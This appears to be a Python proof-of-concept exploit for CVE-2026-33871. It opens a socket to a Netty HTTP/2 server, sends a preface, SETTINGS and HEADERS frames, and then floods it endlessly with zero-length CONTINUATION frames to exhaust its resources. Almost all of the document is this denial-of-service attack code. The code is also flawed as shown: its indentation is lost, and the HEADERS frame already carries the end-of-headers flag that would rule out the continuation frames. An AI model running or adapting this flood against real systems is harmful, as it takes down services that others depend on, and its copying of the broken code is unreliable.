import socket
# Conceptual PoC for CVE-2026-33871
# This script demonstrates the logic of flooding zero-byte CONTINUATION frames.
# Target: A vulnerable Netty HTTP/2 server
def send_http2_flood(target_ip, target_port):
try:
# 1. Establish TCP connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
print(f"Connected to {target_ip}:{target_port}")
# 2. Send HTTP/2 Connection Preface
preface = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'
s.send(preface)
# 3. Send HTTP/2 SETTINGS frame (Simplified for demonstration)
# Length: 0, Type: 0x4 (SETTINGS), Flags: 0x0, Stream: 0
settings_frame = bytes([0, 0, 0, 0x4, 0x0, 0, 0, 0, 0])
s.send(settings_frame)
# 4. Send HEADERS frame to open a stream (Simplified)
# Length: 0, Type: 0x1 (HEADERS), Flags: 0x4 (End Headers), Stream: 1
headers_frame = bytes([0, 0, 0, 0x1, 0x4, 0, 0, 0, 1])
s.send(headers_frame)
# 5. Flood CONTINUATION frames
# The vulnerability is triggered by sending a stream of zero-length CONTINUATION frames.
# Type: 0x9 (CONTINUATION), Stream: 1
print("Starting flood of zero-byte CONTINUATION frames...")
while True:
# Frame Header: Length(3 bytes) + Type(1 byte) + Flags(1 byte) + Stream ID(4 bytes)
# Length = 0, Type = 0x9, Flags = 0x0, Stream ID = 1
frame_header = bytes([0, 0, 0, 0x9, 0x0, 0, 0, 0, 1])
s.send(frame_header)
except KeyboardInterrupt:
print("\nStopping attack.")
s.close()
except Exception as e:
print(f"Error: {e}")
# Note: Actual exploitation requires proper HTTP/2 state management,
# but this snippet illustrates the resource consumption mechanism.
# send_http2_flood("127.0.0.1", 8080)